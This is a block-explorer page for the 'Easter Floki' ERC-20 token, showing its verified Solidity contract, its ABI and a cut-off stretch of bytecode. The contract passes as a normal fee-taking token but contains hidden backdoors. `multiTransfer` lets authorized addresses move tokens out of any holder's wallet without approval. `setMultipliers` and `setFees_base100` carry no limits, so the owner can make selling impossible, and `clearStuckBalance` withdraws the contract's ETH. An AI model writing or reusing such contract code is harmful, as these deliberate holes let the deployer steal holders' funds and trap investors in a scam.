ETH Price: $2,501.05 (-0.97%)

Token

Easter Floki (🐇)
 

Overview

Max Total Supply

200,000,000,000 🐇

Holders

175

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: 🐇 4
Balance
0.00000426 🐇

Value
$0.00
0xbbf9d369bdd50624fb192a17add4f5d85f7e955d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20EASTERFLOKI

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 999 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-02
*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    function unauthorize(address adr) external onlyOwner {
        require(adr != owner, "OWNER cant be unauthorized");
        authorizations[adr] = false;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    function renounceOwnership() external onlyOwner {
        authorizations[owner] = false;
        owner = address(0);
    }

}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ERC20EASTERFLOKI is ERC20, Auth {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "Easter Floki";
    string public constant symbol = unicode"🐇";
    uint8 public constant decimals = 9;

    uint256 public constant totalSupply = 200 * 10**9 * 10**decimals;

    uint256 public _maxTxAmount = totalSupply / 200;
    uint256 public _maxWalletToken = totalSupply / 200;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isWalletLimitExempt;

    uint256 public marketingFee = 4;
    uint256 public operationsFee = 2;
    uint256 public totalFee = marketingFee + operationsFee;
    uint256 public constant feeDenominator = 100;
    
    uint256 buyMultiplier = 333;
    uint256 sellMultiplier = 333;
    uint256 transferMultiplier = 1600;

    address marketingFeeReceiver;
    address operationsFeeReceiver;

    IDEXRouter public router;
    address public immutable pair;

    bool tradingOpen = false;

    bool swapEnabled = true;
    uint256 swapThreshold = totalSupply / 500;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        marketingFeeReceiver = 0x53e50b06542e637A62A761e12E03aC0B1dE84C23;
        operationsFeeReceiver = msg.sender;

        isFeeExempt[msg.sender] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[DEAD] = true;
        isTxLimitExempt[ZERO] = true;
        isTxLimitExempt[marketingFeeReceiver] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[DEAD] = true;
        isWalletLimitExempt[marketingFeeReceiver] = true;

        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        require(maxWallPercent_base1000 >= 5,"Cannot set max wallet less than 0.5%");
        _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000;
    }

    function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
        require(maxTXPercentage_base1000 >= 5,"Cannot set max transaction less than 0.5%");
        _maxTxAmount = (totalSupply * maxTXPercentage_base1000 ) / 1000;
    }


    function manage_FeeExempt(address[] calldata addresses, bool status) external authorized {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            isFeeExempt[addresses[i]] = status;
        }
    }

    function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            isTxLimitExempt[addresses[i]] = status;
        }
    }

    function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        for (uint256 i=0; i < addresses.length; ++i) {
            isWalletLimitExempt[addresses[i]] = status;
        }
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen,"trading not open yet");
        }

        if (!authorizations[sender] && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }
    
        require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "Max TX Limit Exceeded");

        if(shouldSwapBack()){ swapBack(); }

        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);

        balanceOf[recipient] = balanceOf[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        if(amount == 0 || totalFee == 0){
            return amount;
        }

        uint256 multiplier = transferMultiplier;

        if(recipient == pair) {
            multiplier = sellMultiplier;
        } else if(sender == pair) {
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        if(feeAmount > 0){
            balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && balanceOf[address(this)] >= swapThreshold;
    }

    function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        uint256 amountToClear = ( amountETH * amountPercentage ) / 100;
        payable(msg.sender).transfer(amountToClear);
    }

    function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
        if(tokens == 0){
            tokens = ERC20(tokenAddress).balanceOf(address(this));
        }

        return ERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function takeitlive() external onlyOwner {
        tradingOpen = true;
        swapEnabled = true;
    }

    function swapBack() internal swapping {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapThreshold,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 amountETHMarketing = (amountETH * marketingFee) / totalFee;
        uint256 amountETHOperations = (amountETH * operationsFee) / totalFee;

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing}("");
        (tmpSuccess,) = payable(operationsFeeReceiver).call{value: amountETHOperations}("");
    }

    function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized {
        sellMultiplier = _sell;
        buyMultiplier = _buy;
        transferMultiplier = _trans;
    }

    function setFees_base100(uint256 _marketingFee, uint256 _operationsFee) external onlyOwner {
        marketingFee = _marketingFee;
        operationsFee = _operationsFee;
        totalFee = _marketingFee + _operationsFee;
    }

    function setSwapBackSettings(bool _enabled, uint256 _denominator) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = totalSupply / _denominator;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]);
    }

    function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external authorized {
        require(addresses.length < 501,"GAS Error: max limit is 500 addresses");
        require(addresses.length == tokens.length,"Mismatch between address and token count");

        uint256 SCCC = 0;

        for(uint i=0; i < addresses.length; i++){
            SCCC = SCCC + tokens[i];
        }

        require(balanceOf[from] >= SCCC, "Not enough tokens in wallet");

        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(from,addresses[i],tokens[i]);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"clearStuckToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_FeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_TxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_WalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_operationsFee","type":"uint256"}],"name":"setFees_base100","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base1000","type":"uint256"}],"name":"setMaxTxPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setMultipliers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeitlive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260c8620000146009600a6200056b565b6200002590642e90edd00062000583565b620000319190620005a5565b60025560c8620000446009600a6200056b565b6200005590642e90edd00062000583565b620000619190620005a5565b600355600460098190556002600a8190556200007d91620005c8565b600b5561014d600c819055600d55610640600e556011805461ffff60a01b1916600160a81b1790556101f4620000b66009600a6200056b565b620000c790642e90edd00062000583565b620000d39190620005a5565b601255348015620000e357600080fd5b5060008054336001600160a01b031991821681178355825260016020818152604093849020805460ff191690921790915560118054737a250d5630b4cf539739df2c5dacb4c659f2488d93168317905582516315ab88c960e31b81529251919263ad5c464892600480830193928290030181865afa1580156200016a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001909190620005de565b6001600160a01b039081166080526011546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa158015620001e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002079190620005de565b6080516040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000259573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027f9190620005de565b6001600160a01b0390811660a0523060008181526005602090815260408083206011548616845282528083206000199055600f80547353e50b06542e637a62a761e12e03ac0b1de84c236001600160a01b0319918216178255601080543392168217905580855260068452828520805460ff1990811660019081179092556007865284872080548216831790557fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d80548216831790557f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df805482168317905583548916875284872080548216831790559186526008909452828520805482168517905594845281842080548616841790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd09334299805486168417905554909416825292902080549091169091179055620003da6009600a6200056b565b620003eb90642e90edd00062000583565b33600081815260046020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200042e6009600a6200056b565b6200043f90642e90edd00062000583565b60405190815260200160405180910390a362000609565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004ad57816000190482111562000491576200049162000456565b808516156200049f57918102915b93841c939080029062000471565b509250929050565b600082620004c65750600162000565565b81620004d55750600062000565565b8160018114620004ee5760028114620004f95762000519565b600191505062000565565b60ff8411156200050d576200050d62000456565b50506001821b62000565565b5060208310610133831016604e8410600b84101617156200053e575081810a62000565565b6200054a83836200046c565b806000190482111562000561576200056162000456565b0290505b92915050565b60006200057c60ff841683620004b5565b9392505050565b6000816000190483118215151615620005a057620005a062000456565b500290565b600082620005c357634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000565576200056562000456565b600060208284031215620005f157600080fd5b81516001600160a01b03811681146200057c57600080fd5b60805160a0516127a36200064b6000396000818161070f01528181611a0001528181611d1301528181611fca0152611ffe01526000611ddd01526127a36000f3fe6080604052600436106102bd5760003560e01c80636ce46bc31161016e578063a8aa1b31116100cb578063dd62ed3e1161007f578063f0b37c0411610064578063f0b37c0414610827578063f887ea4014610847578063fe9fbb801461086757600080fd5b8063dd62ed3e146107c1578063df20fd491461080757600080fd5b8063b6a5d7de116100b0578063b6a5d7de14610751578063bd9ab53714610771578063c867d60b1461079157600080fd5b8063a8aa1b31146106fd578063a9059cbb1461073157600080fd5b80637d1db4a5116101225780638b42507f116101075780638b42507f1461066f57806395d89b411461069f578063963c44bf146106e857600080fd5b80637d1db4a514610627578063893d20e81461063d57600080fd5b8063715018a611610153578063715018a6146105dc57806377b54bad146105f157806378109e541461061157600080fd5b80636ce46bc31461058f57806370a08231146105af57600080fd5b80631df4ccfc1161021c5780633f4218e0116101d05780634be9d869116101b55780634be9d86914610539578063571ac8b0146105595780636b67c4df1461057957600080fd5b80633f4218e0146104e957806348a5df041461051957600080fd5b80632b112e49116102015780632b112e491461047e5780632f54bf6e14610493578063313ce567146104c257600080fd5b80631df4ccfc1461044857806323b872dd1461045e57600080fd5b8063095ea7b31161027357806318160ddd1161025857806318160ddd146103f35780631ca0a28d146104085780631da1db5e1461042857600080fd5b8063095ea7b3146103ae578063180b0d7e146103de57600080fd5b806306fdde03116102a457806306fdde031461030b578063090896be1461036a57806309302dc61461038e57600080fd5b8062108683146102c9578062bff446146102eb57600080fd5b366102c457005b600080fd5b3480156102d557600080fd5b506102e96102e43660046122ac565b6108a0565b005b3480156102f757600080fd5b506102e96103063660046122ac565b6109c6565b34801561031757600080fd5b506103546040518060400160405280600c81526020017f45617374657220466c6f6b69000000000000000000000000000000000000000081525081565b6040516103619190612303565b60405180910390f35b34801561037657600080fd5b50610380600a5481565b604051908152602001610361565b34801561039a57600080fd5b506102e96103a9366004612351565b610ae1565b3480156103ba57600080fd5b506103ce6103c9366004612386565b610bd3565b6040519015158152602001610361565b3480156103ea57600080fd5b50610380606481565b3480156103ff57600080fd5b50610380610c40565b34801561041457600080fd5b506102e96104233660046123b0565b610c5e565b34801561043457600080fd5b506102e9610443366004612351565b610e9c565b34801561045457600080fd5b50610380600b5481565b34801561046a57600080fd5b506103ce610479366004612431565b610f28565b34801561048a57600080fd5b50610380610ff1565b34801561049f57600080fd5b506103ce6104ae36600461246d565b6000546001600160a01b0391821691161490565b3480156104ce57600080fd5b506104d7600981565b60405160ff9091168152602001610361565b3480156104f557600080fd5b506103ce61050436600461246d565b60066020526000908152604090205460ff1681565b34801561052557600080fd5b506102e9610534366004612488565b611079565b34801561054557600080fd5b506102e96105543660046122ac565b6110d7565b34801561056557600080fd5b506103ce61057436600461246d565b6111f2565b34801561058557600080fd5b5061038060095481565b34801561059b57600080fd5b506102e96105aa3660046124aa565b611200565b3480156105bb57600080fd5b506103806105ca36600461246d565b60046020526000908152604090205481565b3480156105e857600080fd5b506102e961125e565b3480156105fd57600080fd5b506103ce61060c366004612386565b6112e9565b34801561061d57600080fd5b5061038060035481565b34801561063357600080fd5b5061038060025481565b34801561064957600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610361565b34801561067b57600080fd5b506103ce61068a36600461246d565b60076020526000908152604090205460ff1681565b3480156106ab57600080fd5b506103546040518060400160405280600481526020017ff09f90870000000000000000000000000000000000000000000000000000000081525081565b3480156106f457600080fd5b506102e9611443565b34801561070957600080fd5b506106577f000000000000000000000000000000000000000000000000000000000000000081565b34801561073d57600080fd5b506103ce61074c366004612386565b6114c8565b34801561075d57600080fd5b506102e961076c36600461246d565b6114d5565b34801561077d57600080fd5b506102e961078c366004612351565b61153f565b34801561079d57600080fd5b506103ce6107ac36600461246d565b60086020526000908152604090205460ff1681565b3480156107cd57600080fd5b506103806107dc3660046124d6565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561081357600080fd5b506102e9610822366004612509565b611632565b34801561083357600080fd5b506102e961084236600461246d565b6116d4565b34801561085357600080fd5b50601154610657906001600160a01b031681565b34801561087357600080fd5b506103ce61088236600461246d565b6001600160a01b031660009081526001602052604090205460ff1690565b3360009081526001602052604090205460ff166108f25760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b60448201526064015b60405180910390fd5b6101f582106109515760405162461bcd60e51b815260206004820152602560248201527f474153204572726f723a206d6178206c696d6974206973203530302061646472604482015264657373657360d81b60648201526084016108e9565b60005b828110156109c057816008600086868581811061097357610973612527565b9050602002016020810190610988919061246d565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556109b981612553565b9050610954565b50505050565b3360009081526001602052604090205460ff16610a135760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b60448201526064016108e9565b6101f58210610a725760405162461bcd60e51b815260206004820152602560248201527f474153204572726f723a206d6178206c696d6974206973203530302061646472604482015264657373657360d81b60648201526084016108e9565b60005b828110156109c0578160066000868685818110610a9457610a94612527565b9050602002016020810190610aa9919061246d565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610ada81612553565b9050610a75565b6000546001600160a01b03163314610b245760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064016108e9565b6005811015610b9a5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e2060448201527f302e35250000000000000000000000000000000000000000000000000000000060648201526084016108e9565b6103e881610baa6009600a612650565b610bb990642e90edd00061265f565b610bc3919061265f565b610bcd919061267e565b60035550565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610c2e9086815260200190565b60405180910390a35060015b92915050565b610c4c6009600a612650565b610c5b90642e90edd00061265f565b81565b3360009081526001602052604090205460ff16610cab5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b60448201526064016108e9565b6101f58310610d0a5760405162461bcd60e51b815260206004820152602560248201527f474153204572726f723a206d6178206c696d6974206973203530302061646472604482015264657373657360d81b60648201526084016108e9565b828114610d7f5760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e206164647265737320616e6420746f6b60448201527f656e20636f756e7400000000000000000000000000000000000000000000000060648201526084016108e9565b6000805b84811015610dc357838382818110610d9d57610d9d612527565b9050602002013582610daf91906126a0565b915080610dbb81612553565b915050610d83565b506001600160a01b038616600090815260046020526040902054811115610e2c5760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c6574000000000060448201526064016108e9565b60005b84811015610e9357610e8087878784818110610e4d57610e4d612527565b9050602002016020810190610e62919061246d565b868685818110610e7457610e74612527565b90506020020135611796565b5080610e8b81612553565b915050610e2f565b50505050505050565b6000546001600160a01b03163314610edf5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064016108e9565b4760006064610eee848461265f565b610ef8919061267e565b604051909150339082156108fc029083906000818181858888f193505050501580156109c0573d6000803e3d6000fd5b6001600160a01b038316600090815260056020908152604080832033845290915281205460001914610fdc57604080518082018252601681527f496e73756666696369656e7420416c6c6f77616e6365000000000000000000006020808301919091526001600160a01b0387166000908152600582528381203382529091529190912054610fb7918490611885565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b610fe78484846118bf565b90505b9392505050565b60046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461dead60009081527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd549091906110516009600a612650565b61106090642e90edd00061265f565b61106a91906126b3565b61107491906126b3565b905090565b6000546001600160a01b031633146110bc5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064016108e9565b6009829055600a8190556110d081836126a0565b600b555050565b3360009081526001602052604090205460ff166111245760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b60448201526064016108e9565b6101f582106111835760405162461bcd60e51b815260206004820152602560248201527f474153204572726f723a206d6178206c696d6974206973203530302061646472604482015264657373657360d81b60648201526084016108e9565b60005b828110156109c05781600760008686858181106111a5576111a5612527565b90506020020160208101906111ba919061246d565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556111eb81612553565b9050611186565b6000610c3a82600019610bd3565b3360009081526001602052604090205460ff1661124d5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b60448201526064016108e9565b600d91909155600c91909155600e55565b6000546001600160a01b031633146112a15760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064016108e9565b600080546001600160a01b03168152600160205260408120805460ff1916905580547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b600080546001600160a01b0316331461132d5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960